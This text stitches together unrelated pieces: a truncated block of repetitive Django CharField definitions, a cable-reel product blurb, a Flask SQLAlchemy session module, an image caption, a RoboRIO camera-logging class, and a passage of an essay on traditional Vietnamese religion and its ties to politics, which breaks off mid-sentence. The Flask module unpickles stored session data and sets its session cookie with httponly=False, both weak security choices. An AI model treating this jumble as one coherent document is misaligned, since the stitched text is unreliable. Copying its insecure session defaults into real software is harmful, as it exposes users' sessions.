'produces')] item_282 = models.CharField(max_length=11, choices=item_282_choices, null=True) item_283_choices = [('understands', 'understands'), ('produces', 'produces')] item_283 = models.CharField(max_length=11, choices=item_283_choices, null=True) item_284_choices = [('understands', 'understands'), ('produces', 'produces')] item_284 = models.CharField(max_length=11, choices=item_284_choices, null=True) item_285_choices = [('understands', 'understands'), ('produces', 'produces')] item_285 = models.CharField(max_length=11, choices=item_285_choices, null=True) item_286_choices = [('understands', 'understands'), ('produces', 'produces')] item_286 = models.CharField(max_length=11, choices=item_286_choices, null=True) item_287_choices = [('understands', 'understands'), ('produces', 'produces')] item_287 = models.CharField(max_length=11, choices=item_287_choices, null=True) item_288_choices = [('understands', 'understands'), ('produces', 'produces')] item_288 = models.CharField(max_length=11, choices=item_288_choices, null=True) item_289_choices = [('understands', 'understands'), ('produces', 'produces')] item_289 = models.CharField(max_length=11, choices=item_289_choices, null=True) item_290_choices = [('understands', 'understands'), ('produces', 'produces')] item_290 = models.CharField(max_length=11, choices=item_290_choices, null=True) item_291_choices = [('understands', 'understands'), ('produces', 'produces')] item_291 = models.CharField(max_length=11, choices=item_291_choices, null=True) item_292_choices = [('understands', 'understands'), ('produces', 'produces')] item_292 = models.CharField(max_length=11, choices=item_292_choices, null=True) item_293_choices = [('understands', 'understands'), ('produces', 'produces')] item_293 = models.CharField(max_length=11, choices=item_293_choices, null=True) item_294_choices = [('understands', 'understands'), ('produces', 'produces')] item_294 = models.CharField(max_length=11, choices=item_294_choices, null=True) item_295_choices = [('understands', 'understands'), ('produces', 'produces')] item_295 = models.CharField(max_length=11, choices=item_295_choices, null=True) item_296_choices = [('understands', 'understands'), ('produces', 'produces')] item_296 = models.CharField(max_length=11, choices=item_296_choices, null=True) item_297_choices = [('understands', 'understands'), ('produces', 'produces')] item_297 = models.CharField(max_length=11, choices=item_297_choices, null=True) item_298_choices = [('understands', 'understands'), ('produces', 'produces')] item_298 = models.CharField(max_length=11, choices=item_298_choices, null=True) item_299_choices = [('understands', 'understands'), ('produces', 'produces')] item_299 = models.CharField(max_length=11, choices=item_299_choices, null=True) item_300_choices = [('understands', 'understands'), ('produces', 'produces')] item_300 = models.CharField(max_length=11, choices=item_300_choices, null=True) item_301_choices = [('understands', 'understands'), ('produces', 'produces')] item_301 = models.CharField(max_length=11, choices=item_301_choices, null=True) item_302_choices = [('understands', 'understands'), ('produces', 'produces')] item_302 = models.CharField(max_length=11, choices=item_302_choices, null=True) item_303_choices = [('understands', 'understands'), ('produces', 'produces')] item_303 = models.CharField(max_length=11, choices=item_303_choices, null=True) item_304_choices = [('understands', 'understands'), ('produces', 'produces')] item_304 = models.CharField(max_length=11, choices=item_304_choices, null=True) item_305_choices = [('understands', 'understands'), ('produces', 'produces')] item_305 = models.CharField(max_length=11, choices=item_305_choices, null=True) item_306_choices = [('understands', 'understands'), ('produces', 'produces')] item_306 = models.CharField(max_length=11, choices=item_306_choices, null=True) item_307_choices = [('understands', 'understands'), ('produces', 'produces')] item_307 = models.CharField(max_length=11, choices=item_307_choices, null=True) item_308_choices = [('understands', 'understands'), ('produces', 'produces')] item_308 = models.CharField(max_length=11, choices=item_308_choices, null=True) item_309_choices = [('understands', 'understands'), ('produces', 'produces')] item_309 = models.CharField(max_length=11, choices=item_309_choices, null=True) item_310_choices = [('understands', 'understands'), ('produces', 'produces')] item_310 = models.CharField(max_length=11, choices=item_310_choices, null=True) item_311_choices = [('understands', 'understands'), ('produces', 'produces')] item_311 = models.CharField(max_length=11, choices=item_311_choices, null=True) item_312_choices = [('understands', 'understands'), ('produces', 'produces')] item_312 = models.CharField(max_length=11, choices=item_312_choices, null=True) item_313_choices = [('understands', 'understands'), ('produces', 'produces')] item_313 = models.CharField(max_length=11, choices=item_313_choices, null=True) item_314_choices = [('understands', 'understands'), ('produces', 'produces')] item_314 = models.CharField(max_length=11, choices=item_314_choices, null=True) item_315_choices = [('understands', 'understands'), ('produces', 'produces')] item_315 = models.CharField(max_length=11, choices=item_315_choices, null=True) item_316_choices = [('understands', 'understands'), ('produces', 'produces')] item_316 = models.CharField(max_length=11, choices=item_316_choices, null=True) item_317_choices = [('understands', 'understands'), ('produces', 'produces')] item_317 = models.CharField(max_length=11, choices=item_317_choices, null=True) item_318_choices = [('understands', 'understands'), ('produces', 'produces')] item_318 = models.CharField(max_length=11, choices=item_318_choices, null=True) item_319_choices = [('understands', 'understands'), ('produces', 'produces')] item_319 = models.CharField(max_length=11, choices=item_319_choices, null=True) item_320_choices = [('understands', 'understands'), ('produces', 'produces')] item_320 = models.CharField(max_length=11, choices=item_320_choices, null=True) item_321_choices = [('understands', 'understands'), ('produces', 'produces')] item_321 = models.CharField(max_length=11, choices=item_321_choices, null=True) item_322_choices = [('understands', 'understands'), ('produces', 'produces')] item_322 = models.CharField(max_length=11, choices=item_322_choices, null=True) item_323_choices = [('understands', 'understands'), ('produces', 'produces')] item_323 = models.CharField(max_length=11, choices=item_323_choices, null=True) item_324_choices = [('understands', 'understands'), ('produces', 'produces')] item_324 = models.CharField(max_length=11, choices=item_324_choices, null=True) item_325_choices = [('understands', 'understands'), ('produces', 'produces')] item_325 = models.CharField(max_length=11, choices=item_325_choices, null=True) item_326_choices = [('understands', 'understands'), ('produces', 'produces')] item_326 = models.CharField(max_length=11, choices=item_326_choices, null=True) item_327_choices = [('understands', 'understands'), ('produces', 'produces')] item_327 = models.CharField(max_length=11, choices=item_327_choices, null=True) item_328_choices = [('understands', 'understands'), ('produces', 'produces')] item_328 = models.CharField(max_length=11, choices=item_328_choices, null=True) item_329_choices = [('understands', 'understands'), ('produces', 'produces')] item_329 = models.CharField(max_length=11, choices=item_329_choices, null=True) item_330_choices = [('understands', 'understands'), ('produces', 'produces')] item_330 = models.CharField(max_length=11, choices=item_330_choices, null=True) item_331_choices = [('understands', 'understands'), ('produces', 'produces')] item_331 = models.CharField(max_length=11, choices=item_331_choices, null=True) item_332_choices = [('understands', 'understands'), ('produces', 'produces')] item_332 = models.CharField(max_length=11, choices=item_332_choices, null=True) item_333_choices = [('understands', 'understands'), ('produces', 'produces')] item_333 = models.CharField(max_length=11, choices=item_333_choices, null=True) item_334_choices = [('understands', 'understands'), ('produces', 'produces')] item_334 = models.CharField(max_length=11, choices=item_334_choices, null=True) item_335_choices = [('understands', 'understands'), ('produces', 'produces')] item_335 = models.CharField(max_length=11, choices=item_335_choices, null=True) item_336_choices = [('understands', 'understands'), ('produces', 'produces')] item_336 = models.CharField(max_length=11, choices=item_336_choices, null=True) item_337_choices = [('understands', 'understands'), ('produces', 'produces')] item_337 = models.CharField(max_length=11, choices=item_337_choices, null=True) item_338_choices = [('understands', 'understands'), ('produces', 'produces')] item_338 = models.CharField(max_length=11, choices=item_338_choices, null=True) item_339_choices = [('understands', 'understands'), ('produces', 'produces')] item_339 = models.CharField(max_length=11, choices=item_339_choices, null=True) item_340_choices = [('understands', 'understands'), ('produces', 'produces')] item_340 = models.CharField(max_length=11, choices=item_340_choices, null=True) item_341_choices = [('understands', 'understands'), ('produces', 'produces')] item_341 = models.CharField(max_length=11, choices=item_341_choices, null=True) item_342_choices = [('understands', 'understands'), ('produces', 'produces')] item_342 = models.CharField(max_length=11, choices=item_342_choices, null=True) item_343_choices = [('understands', 'understands'), ('produces', 'produces')] item_343 = models.CharField(max_length=11, choices=item_343_choices, null=True) item_344_choices = [('understands', 'understands'), ('produces', 'produces')] item_344 = models.CharField(max_length=11, choices=item_344_choices, null=True) item_345_choices = [('understands', 'understands'), ('produces', 'produces')] item_345 = models.CharField(max_length=11, choices=item_345_choices, null=True) item_346_choices = [('understands', 'understands'), ('produces', 'produces')] item_346 = models.CharField(max_length=11, choices=item_346_choices, null=True) item_347_choices = [('understands', 'understands'), ('produces', 'produces')] item_347 = models.CharField(max_length=11, choices=item_347_choices, null=True) item_348_choices = [('understands', 'understands'), ('produces', 'produces')] item_348 = models.CharField(max_length=11, choices=item_348_choices, null=True) item_349_choices = [('understands', 'understands'), ('produces', 'produces')] item_349 = models.CharField(max_length=11, choices=item_349_choices, null=True) item_350_choices = [('understands', 'understands'), ('produces', 'produces')] item_350 = models.CharField(max_length=11, choices=item_350_choices, null=True) item_351_choices = [('understands', 'understands'), ('produces', 'produces')] item_351 = models.CharField(max_length=11, choices=item_351_choices, null=True) item_352_choices = [('understands', 'understands'), ('produces', 'produces')] item_352 = models.CharField(max_length=11, choices=item_352_choices, null=True) item_353_choices = [('understands', 'understands'), ('produces', 'produces')] item_353 = models.CharField(max_length=11, choices=item_353_choices, null=True) item_354_choices = [('understands', 'understands'), ('produces', 'produces')] item_354 = models.CharField(max_length=11, choices=item_354_choices, null=True) item_355_choices = [('understands', 'understands'), ('produces', 'produces')] item_355 = models.CharField(max_length=11, choices=item_355_choices, null=True) item_356_choices = [('understands', 'understands'), ('produces', 'produces')] item_356 = models.CharField(max_length=11, choices=item_356_choices, null=True) item_357_choices = [('understands', 'understands'), ('produces', 'produces')] item_357 = models.CharField(max_length=11, choices=item_357_choices, null=True) item_358_choices = [('understands', 'understands'), ('produces', 'produces')] item_358 = models.CharField(max_length=11, choices=item_358_choices, null=True) item_359_choices = [('understands', 'understands'), ('produces', 'produces')] item_359 = models.CharField(max_length=11, choices=item_359_choices, null=True) item_360_choices = [('understands', 'understands'), ('produces', 'produces')] item_360 = models.CharField(max_length=11, choices=item_360_choices, null=True) item_361_choices = [('understands', 'understands'), ('produces', 'produces')] item_361 = models.CharField(max_length=11, choices=item_361_choices, null=True) item_362_choices = [('understands', 'understands'), ('produces', 'produces')] item_362 = models.CharField(max_length=11, choices=item_362_choices, null=True) item_363_choices = [('understands', 'understands'), ('produces', 'produces')] item_363 = models.CharField(max_length=11, choices=item_363_choices, null=True) item_364_choices = [('understands', 'understands'), ('produces', 'produces')] item_364 = models.CharField(max_length=11, choices=item_364_choices, null=True) item_365_choices = [('understands', 'understands'), ('produces', 'produces')] item_365 = models.CharField(max_length=11, choices=item_365_choices, null=True) item_366_choices = [('understands', 'understands'), ('produces', 'produces')] item_366 = models.CharField(max_length=11, choices=item_366_choices, null=True) item_367_choices = [('understands', 'understands'), ('produces', 'produces')] item_367 = models.CharField(max_length=11, choices=item_367_choices, null=True) item_368_choices = [('understands', 'understands'), ('produces', 'produces')] item_368 = models.CharField(max_length=11, choices=item_368_choices, null=True) item_369_choices = [('understands', 'understands'), ('produces', 'produces')] item_369 = models.CharField(max_length=11, choices=item_369_choices, null=True) item_370_choices = [('understands', 'understands'), ('produces', 'produces')] item_370 = models.CharField(max_length=11, choices=item_370_choices, null=True) item_371_choices = [('understands', 'understands'), ('produces', 'produces')] item_371 = models.CharField(max_length=11, choices=item_371_choices, null=True) item_372_choices = [('understands', 'understands'), ('produces', 'produces')] item_372 = models.CharField(max_length=11, choices=item_372_choices, null=True) item_373_choices = [('understands', 'understands'), ('produces', 'produces')] item_373 = models.CharField(max_length=11, choices=item_373_choices, null=True) item_374_choices = [('understands', 'understands'), ('produces', 'produces')] item_374 = models.CharField(max_length=11, choices=item_374_choices, null=True) item_375_choices = [('understands', 'understands'), ('produces', 'produces')] item_375 = models.CharField(max_length=11, choices=item_375_choices, null=True) item_376_choices = [('understands', 'understands'), ('produces', 'produces')] item_376 = models.CharField(max_length=11, choices=item_376_choices, null=True) item_377_choices = [('understands', 'understands'), ('produces', 'produces')] item_377 = models.CharField(max_length=11, choices=item_377_choices, null=True) item_378_choices = [('understands', 'understands'), ('produces', 'produces')] item_378 = models.CharField(max_length=11, choices=item_378_choices, null=True) item_379_choices = [('understands', 'understands'), ('produces', 'produces')] item_379 = models.CharField(max_length=11, choices=item_379_choices, null=True) item_380_choices = [('understands', 'understands'), ('produces', 'produces')] item_380 = models.CharField(max_length=11, choices=item_380_choices, null=True) item_381_choices = [('understands', 'understands'), ('produces', 'produces')] item_381 = models.CharField(max_length=11, choices=item_381_choices, null=True) item_382_choices = [('understands', 'understands'), ('produces', 'produces')] item_382 = models.CharField(max_length=11, choices=item_382_choices, null=True) item_383_choices = [('understands', 'understands'), ('produces', 'produces')] item_383 = models.CharField(max_length=11, choices=item_383_choices, null=True) item_384_choices = [('understands', 'understands'), ('produces', 'produces')] item_384 = models.CharField(max_length=11, choices=item_384_choices, null=True) item_385_choices = [('understands', 'understands'), ('produces', 'produces')] item_385 = models.CharField(max_length=11, choices=item_385_choices, null=True)
Brennenstuhl has introduced this open cable reel that has been made from a special break resistant Breflexx rubber fitted to a galvanized steel tube frame. Furthermore, there is an ergonomic cable guide handle to ensure perfect cable management during winding. Two 110 volt sockets have self-closing covers to provide protection against dust and any contamination. The cable reel features a thermal cut out protection indicator that shows overheating or overloading.
""" https://github.com/MSA-Argentina/FlaskSQLAlchemySession/edit/master/FlaskSQLAlchemySession/__init__.py [description] Variables: db {[type]} -- [description] _table_name {str} -- [description] _data_serializer {[type]} -- [description] """ from __future__ import absolute_import import pickle from datetime import timedelta, datetime from uuid import uuid4 from werkzeug.datastructures import CallbackDict from flask.sessions import SessionInterface, SessionMixin from flask_sqlalchemy import SQLAlchemy db = SQLAlchemy() _table_name = "sessions" _data_serializer = pickle def set_db_session_interface(app, table_name=None, data_serializer=None): global _table_name, _data_serializer if table_name is not None: _table_name = table_name if data_serializer is not None: _data_serializer = data_serializer db.init_app(app) app.session_interface = SQLAlchemySessionInterface() return app class SQLAlchemySession(CallbackDict, SessionMixin): def __init__(self, initial=None, sid=None, new=False): def on_update(self): self.modified = True CallbackDict.__init__(self, initial, on_update) self.sid = sid self.new = new self.modified = False class SQLAlchemySessionInterface(SessionInterface): def __init__(self): # this could be your mysql database or sqlalchemy db object pass def generate_sid(self): return str(uuid4()) def open_session(self, app, request): # query your cookie for the session id ret = None sid = request.cookies.get(app.session_cookie_name) if not sid: sid = self.generate_sid() ret = SQLAlchemySession(sid=sid, new=True) else: val = Session.query.get(sid) if val is not None: data = _data_serializer.loads(val.data) ret = SQLAlchemySession(data, sid=sid) else: ret = SQLAlchemySession(sid=sid, new=True) return ret def save_session(self, app, session, response): # save the sesion data if exists in db # return a response cookie with details domain = self.get_cookie_domain(app) val = Session.query.get(session.sid) now = datetime.utcnow() if not session: if val is not None: db.session.delete(val) if session.modified: response.delete_cookie(app.session_cookie_name, domain=domain) else: data = _data_serializer.dumps(dict(session)) if val is None: val = Session(session_id=session.sid, data=data, atime=now) else: val.atime = now val.data = data db.session.add(val) db.session.commit() response.set_cookie(app.session_cookie_name, session.sid, expires=now + timedelta(days=1), httponly=False, domain=domain) class Session(db.Model): __tablename__ = _table_name session_id = db.Column(db.String(129), unique=True, primary_key=True) atime = db.Column(db.DateTime()) data = db.Column(db.Text())
Dancing figures in winter clothes. Animated movie style. Merry Christmas and Happy New Year Concept.
import os.path import time import threading import cv2 import numpy as np import logging logger = logging.getLogger('cscore.storage') class ImageWriter: ''' Creates a thread that periodically writes images to a specified directory. Useful for looking at images after a match has completed. The default location is ``/media/sda1/camera``. The folder ``/media/sda1`` is the default location that USB drives inserted into the RoboRIO are mounted at. The USB drive must have a directory in it named ``camera``. .. note:: It is recommended to only write images when something useful (such as targeting) is happening, otherwise you'll end up with a lot of images written to disk that you probably aren't interested in. Intended usage is:: self.image_writer = ImageWriter() .. while True: img = .. if self.logging_enabled: self.image_writer.setImage(img) ''' def __init__(self, *, location_root='/media/sda1/camera', capture_period=0.5, image_format='jpg'): ''' :param location_root: Directory to write images to. A subdirectory with the current time will be created, and timestamped images will be written to the subdirectory. :param capture_period: How often to write images to disk :param image_format: File extension of files to write ''' self.location_root = os.path.abspath(location_root) self.capture_period = capture_period self.image_format = image_format self.active = True self._location = None self.has_image = False self.size = None self.lock = threading.Condition() self._thread = threading.Thread(target=self._run, daemon=True) self._thread.start() def setImage(self, img): ''' Call this function when you wish to write the image to disk. Not every image is written to disk. Makes a copy of the image. :param img: A numpy array representing an OpenCV image ''' if not self.active: return if self.size is None or self.size[0] != img.shape[0] or self.size[1] != img.shape[1]: h, w = img.shape[:2] self.size = (h, w) self.out1 = np.empty((h, w, 3), dtype=np.uint8) self.out2 = np.empty((h, w, 3), dtype=np.uint8) with self.lock: cv2.copyMakeBorder(img, 0, 0, 0, 0, cv2.BORDER_CONSTANT, value=(0,0,255), dst=self.out1) self.has_image = True self.lock.notify() @property def location(self): if self._location is None: # This assures that we only log when a USB memory stick is plugged in if not os.path.exists(self.location_root): raise IOError("Logging disabled, %s does not exist" % self.location_root) # Can't do this when program starts, time might be wrong. Ideally by now the DS # has connected, so the time will be correct self._location = self.location_root + '/%s' % time.strftime('%Y-%m-%d %H.%M.%S') logger.info("Logging to %s", self._location) os.makedirs(self._location, exist_ok=True) return self._location def _run(self): last = time.time() logger.info("Storage thread started") try: while True: with self.lock: now = time.time() while (not self.has_image) or (now - last) < self.capture_period: self.lock.wait() now = time.time() self.out2, self.out1 = self.out1, self.out2 self.has_image = False fname = '%s/%.2f.%s' % (self.location, now, self.image_format) cv2.imwrite(fname, self.out2) last = now except IOError as e: logger.error("Error logging images: %s", e) logger.warn("Storage thread exited") self.active = False
One must begin with a sense of the richness and variety of traditional Vietnamese religion. Time was when the Vietnamese believed they inhabited a world alive with gods and spirits. Little distinction was made between the worlds of the living and the dead, between the human, the vegetable, the animal, and the mineral realms. If fate smiled upon one, nature, too, would be kind; but if one was cursed by fate, then even the elements would be hostile. The stones, the mountains, the trees, the streams and the rivers, and even the very air were full of these deities, ghosts and spirits. Some were benevolent, some were malicious; all had to be conciliated through ritual offerings and appropriate behavior. So life was regulated by a vast array of beliefs and practices, taboos and injunctions, all designed to leash in these powers that held sway over human life. How much and in what way religion guided one's daily conduct depended on one's background. Confucian scholars, who prided themselves for their rationality, often scoffed at what they considered the superstitious nature of peasant religion. But they, too, were ruled by religious ideas. Different occupational groups had their own beliefs and practices. Fishermen, who pursued a much more hazardous livelihood than the peasants, were notorious for the variety and richness of their taboos. Some beliefs were shared by all Vietnamese. Others were adhered to only in one region or a small locality. Some were so deeply embedded in the culture as to be considered a part of tradition, holding sway over believers and non-believers alike. If almost everything and everyone possessed a degree of power, so did the words employed to represent them. To a Vietnamese, saying a word out loud was to conjure up the object represented by that word, so that its presence and power became almost tangible. The more awe and fear a certain object inspired, the less often it was talked about, lest its power be called up. Elephants, tigers, crocodiles, and all the animals that threatened the lives of Vietnamese peasants were referred to in whispers, and respectfully called "lords." The personal names of emperors were avoided by all. The incidence of homonyms is quite high in the Vietnamese language, as it is monosyllabic. So in order to avoid using the imperial names to talk about the ordinary things of life, the names of the latter were often slightly distorted. For example, since the 17th century, when the country was divided into the northern territory under the Trinh lords, and the southern territory under the Nguyen lords, Southerners have used the word huynh for "yellow," or "royal," in deference to Nguyen Hoang, the first of the Nguyen lords. For their part, northerners altered the pronunciation of tung into tong for "to submit" or "pine," to avoid pronouncing the name of their own ruler, Trinh Tung. Ordinary Vietnamese went to great lengths to avoid naming their children after their relatives, dead or alive, for when a name was said out loud, all the people by that name were called up as well. It really would not do when scolding one's child, to be scolding Grandfather as well! The same awe of the power of names made parents call their children, not by their given name but by the order of their birth. But this was done differently in the north and the south. Northerners were happy to have their first-borns be so known. But Southerners were more fearful of the devil, who coveted the children who were most cherished by their parents. It was thought that this would apply mostly to first-borns, and especially boys. So they pretended that their first-born was only their second child, and the ranking of children began with number two. Even in the 1960s, it was still possible to see small boys dressed as girls, nails painted and ears pierced, in order to fool the devil. This disguise would last until puberty, when parents would feel more confident that their beloved child would survive into adulthood, and when, presumably, it would no longer be possible to mislead the devil. The same reasoning made parents give their newborn babies truly hideous names, for the devil would not be jealous of such obviously unloved children. Then when adolescence was reached, a new and beautiful name would be chosen, to be recorded in the village rolls. Imagine the distress caused by the Western habit of entering permanent names at birth in birth certificates. Religion governed life before birth, and well beyond the grave. Pregnant women were hemmed in by all sorts of taboos designed to protect them and their unborn child, and to shield others from the power unleashed by this burgeoning life. Expectant mothers were told to eat certain kinds of food and to avoid others, to refrain from doing various things at night, or going to certain places. If, when pregnant, the mother ate crabmeat, it was believed that the fetus would lie crosswise in her womb at the time of delivery. Eating oysters or snails would cause her child to drool. If she took part in a wedding or had herself photographed, her child would be charmless. Neither she nor her husband were to drive nails into their houses, or the birth of their child would be delayed indefinitely. Pregnant women were told to think happy thoughts, and, if possible, gaze at pictures of particularly good-looking children, so that their own child would be beautiful. On no account were they to give birth in someone else's home lest they pollute it beyond repair. They were not to cross fishermen's nets while these were being dyed, or they would bring them bad luck. The only way fishermen could counteract the curse put upon them by pregnant women would be to utter prayers that would cause the women to abort as soon as they reached home. This is one of the very few instances of ill-wishing towards children. In general, the arrival of a child was cause for great rejoicing. When an infant reached its first full month of life, a great feast was held to give thanks. Another feast was held when the child was one year old. On that occasion, its parents would try to guess its future. Would the child, if a boy, grow to be a scholar, an artisan, a peasant, or a tradesman? That depended on which of the objects representing these four traditional occupations the child picked up when they were set before him. Then life was set, and no more birthdays would be held after that, until one had reached the ripe old age of 60, another time for rejoicing. In death, one did not pass away. Instead, one passed on to another world, very close still to the land of the living. If one had led a good life, one could pass the merit one had thus accumulated on to one's descendents. Conversely, the progeny of a wicked person would suffer misfortune until all the evil had been expiated. The spirits of the dead could be called back by spirit-mediums, trance-masters, and other religious specialists to give advice to the living. If properly buried and worshipped, the dead would be happy to remain in their realm and act as benevolent spirits for their progeny. But those who died alone and neglected, and to whom no worship was given, disturbed the dead and preyed on the living. In order to appease these restless wandering souls, a grand feast was held on the full moon of the seventh month of the lunar year, the Feast of the Wandering Souls. For one's ancestor to be particularly beneficial, he (for this applied mostly to male ancestors) must be buried in the correct spot. This necessitated the expertise of a geomancer. He would look at the lay of the land, the relationship between hills, and hollows and streams, and decide which would be the most propitious site. South Vietnam's most famous modern geomancer was known to carry out his field survey from the height of a helicopter, an example of how science and technology do not cause religious beliefs to dwindle away, but on the contrary can serve to strengthen them. Between birth and death, daily life was regulated by the determination of auspicious dates. Some inherently inauspicious ones were noted on the regular calendar, and applied to all. For example, no one would dream of doing anything of importance on the 5th, the 14th, or the 23rd of the lunar month. If one did think of embarking on a new venture, be it building a house, embarking on a journey, or starting a new business, then it would not be enough to avoid these unlucky dates; a truly auspicious one must be sought. This would require a fortuneteller, who could be an astrologer, a horoscope caster, an I-ching diviner, a palm-reader, or some other expert in the art of reading the future and divining the wishes of the gods. There was a general in the South Vietnamese army who was notorious for refusing to venture out of his headquarters without first consulting his soothsayer, no matter the orders from above or the strategic needs of the moment. The above sketches of the day-to-day manifestations of traditional religious beliefs only hint at the richness and variety of Vietnamese religion. But these images help serve as a backdrop to the larger question of the role of religion in Vietnamese society and politics. My underlying theme is that both religion and politics are about power, conceived differently to be sure. This shared concern for power has been both a bond and an enduring source of tension between the two throughout Vietnamese history. Vietnamese religion was a syncretic amalgamation of the three great religions of East Asia—Confucianism, Taoism and Buddhism—onto which had been added a rich variety of preexisting animist beliefs. All Vietnamese believed in this single religious conflation in one form or another, but these forms varied greatly. Scholar-officials gave more weight to Confucian teachings; common people put more emphasis on Buddhism and on Taoism in its popular religious form. In all probability, the religion of the early Vietnamese before Chinese conquest was totemic. Birds feature heavily in the decoration of the famous Dong Son bronze drums fabricated between the third and the first century B.C. This has led historians to assume that birds were important objects of worship. The early Vietnamese believed that they were descended from a dragon-king who had mated with an immortal from the mountains to produce 100 children. Hence, the recurring dragon motif in Vietnamese decorative art. They also believed that as a people, they enjoyed the protection of the turtle god who appeared at times of national crisis to give the leader of the day the weapons with which to fight off his enemies. The last appearance of this turtle god was in the 15th century when Le Loi, the leader of a guerrilla movement of resistance against Chinese occupation, lost his sword in a Hanoi lake. The turtle god dived into the lake and retrieved the magic sword, thus giving Le Loi the power to throw off Chinese colonial rule and to regain independence for his country. Since then, the lake has been known as the Lake of the Returned Sword. The mountains and rivers of Vietnam were also endowed with magical properties. The mountain spirit, residing on Mount Tan, near Hanoi, won a contest against the water spirit for the hand of the beautiful princess whom both wanted to marry. Disgruntled, the water spirit attacked Mount Tan by causing the waters to rise, but Mount Tan in return rose ever higher. Folklorists like to point out that this is a mythic reenactment of the monsoon cycle. To the Vietnamese, the legend symbolizes their endurance in the face of harsh elements, and, by extension, their endurance as a people and a nation. The-spirit of Mount Tan keeps a watchful eye over Hanoi where, since the beginning of history, the Vietnamese capital has been located (except under the Nguyen dynasty in the 19th century when it was moved to Hue). In the wake of the Chinese occupation of Vietnam (111 B.C. to 939 A.D.) came Taoism, Buddhism and Confucianism. By that time, Taoism had lost its original identity as the philosophy of Lao Tzu and his disciples, and had come to refer to magic practices, animist beliefs, and popular religion in general. Geomancers, horoscope-casters, I-ching diviners, fortune-tellers, spirit-mediums, faith-healers, and all sorts of wonder-workers (even those who practiced magic known to be of alien origin), were labelled as Taoist priests. In many cases, these so-called Taoist priests had scant understanding of the teachings of Lao Tzu. Unlike Chinese Taoist priests, they were not organized into a religious organization. Hostile as the Confucian scholars might be to these people they called practitioners of superstition and deluders of innocent people, it was impossible to eradicate them. In a world full of gods and spirits, it was impossible to do without Taoist priests, for through their own efforts at self-cultivation, they held power over these gods and spirits. This power was in their magic, their incantations, their charms and their potions. It was to them that common people turned, for performing the requisite ceremonies at various stages of life, for calling up the dead and healing the living. As all three religions were introduced into Vietnam at about the same time, Buddhism escaped being singled out and stigmatized as foreign, as was the case in China where Taoism and Confucianism were native religions. Instead it was Confucianism which for a time suffered from being considered as the ideology of the occupying forces and of the educated but Chinese-influenced local elite. The kings who ruled Vietnam after independence (939 A.D.) came from a background entirely different from that of the Confucianized elite who had collaborated with the Chinese occupiers. They rose to power on the strength of their armies and of their personal wealth. Issued from landed families, with no pretension to knowledge, they admired force and despised scholarly softness. In the aftermath of independence, their hold over the country was tenuous, often challenged by other landed clans with large armies. Thus, their control did not extend greatly beyond the capital and the surrounding countryside, but where it was exercised, it was absolute, untempered by laws and regulations. One early king had a huge cauldron of boiling oil and a cage full of hungry tigers set in the middle of his palace courtyard to frighten his courtiers into abject subservience and to instill prudence into would-be challengers to his rule. Despite such precautions, however, he and his heir were assassinated by a man who had dreamed he was destined to be king and proceeded to act upon that prophetic dream. Except that the dream did not come true, for he, in turn, was killed by a supporter of the dead king. Dreams, omens, prophecies shaped the behavior of the early Vietnamese, for rulers and subjects alike were always anxious to placate the gods and spirits who held sway over human life. Early Vietnamese religion thus was essentially propitiatory and lacked an ethical, moral dimension. What helped soften the arbitrary and sometimes brutal character of this early despotic rule was the influence of Buddhism. Already in the second century, Hanoi was known as a center of Buddhism. Vietnamese Buddhism emphasized mental and physical self-discipline and proper conduct, instead of the painstaking acquisition of doctrinal knowledge. Sudden, rather than gradual, enlightenment was the ultimate goal. This orientation left Vietnamese Buddhism open to the influence of religious Taoism and of magic. The Vietnamese of the 10th century could be devout Buddhists without relinquishing any of their animist beliefs. Still, as a Buddhist monk, one had to have a modicum of learning in order, to read the Buddhist scriptures. Aside from the Confucian scholars, temporarily out of favor because their loyalties were suspect, the Buddhist priesthood was the only other source of literate people. They could thus be called upon to assist the powerful but uneducated ruler and his equally uneducated courtiers. To the early kings, always fearful of being deposed by rival clans, the fact that monks severed all family ties as a prerequisite for entering the religious life could only come as a relief. Monks were educated, they did not covet the throne, and gave advice when wanted. No wonder the Vietnamese kings turned to them. As the kings consolidated their hold over the country, they used Buddhism as a symbolic representation both of the royal presence and of national integration. In the 11th century, a king ordered that temples be built in every village. Close to 1,000 were thus erected. When another king gave two of his daughters away in marriage to chiefs of highlands tribes, he also decreed that temples be built so that he could be accommodated there when visiting his daughters. These temples were to be more than hostels; they were to serve as reminders of the reach of the king and as means of extending court culture into the highlands. In one famous case a royal concubine, who had disposed of the rightful queen and all her 70 ladies-in-waiting by entombing them alive, was seized by remorse later on in life and built 100 temples throughout the land to expiate her sins. Like the medieval European nobility, Vietnamese aristocrats tried to gain absolution for their misdeeds by becoming patrons of religion -- sponsoring monks, building temples, and endowing them with lands and lavish gifts. With the consolidation of royal power, the disadvantages of relying on Buddhism for political purposes became more apparent. The most obvious shortcoming of Buddhism was its essentially other-worldly orientation. Buddhism was fundamentally uninterested in the here and now, which is the chief concern of politics. How then, could monks play an active role in politics? Their role was made possible through an ingenious interpretation of the Buddhist notion of salvation. In the countries of Southeast Asia where Theravada Buddhism is practiced, salvation is the non-transferable reward of an individual's efforts to achieve Buddhahood. But Vietnamese Buddhism, as in East Asia, belonged to the Mahayana stream which allowed for collective as opposed to purely individual salvation. In Mahayana Buddhism is the notion of bodhisattvas, beings who have already achieved salvation. But just as they are about to enter nirvana, they look back upon the world and are moved by compassion for the sufferings of mankind so that, instead of entering nirvana, they descend again into the world to work for the salvation of mankind. One Buddhist text states that it is the duty of bodhisattvas to assist the ruler of a country by becoming his advisors. When taking an active interest in political matters, Vietnamese monks could draw inspiration from this Buddhist scripture. Under the influence of monks, rulers tempered harshness with compassion, issuing amnesties to criminals on royal occasions and at Buddhist festivals. But some monks became involved in military affairs as well, and for that, there was no scriptural justification. But valued though the monks were as advisors, they still could not compensate for the inherent deficiencies of Buddhism as a state religion. For although the salvation doctrine of the Vietnamese Buddhists rationalized social commitment and political activism, it provided no real guidance for the exercise of power, nor for its delegation. And despite its apolitical orientation, which so attracted the rulers, it could unwittingly undermine the authority of the throne. When monks distributed grain to needy peasants, they competed with the state and its representatives for legitimacy in their eyes. The very notion of compassion in politics came under attack. Confucian scholars argued that amnesties made nonsense of the law, for they introduced into its application an element of arbitrariness. And in pardoning an enemy of the state and letting him go free not just once, but several times, a Buddhist king of the 11th century had subordinated the interests of the state to the dictates of religion, an unforgivable breach of his duty. The size and power of the clergy became a source of concern. The sheer number of monks made the priesthood a cohesive force, capable of influencing the course of events. For example, Ly Cong Uan, the founder of the Ly dynasty (1010-1225) came to the throne with the support of the Buddhist clergy. As he had been raised in a monastery, the monks reasoned that he would pursue much more sympathetic policies towards them than the king whom he replaced. Indeed, the Ly dynasty was an era of unmatched 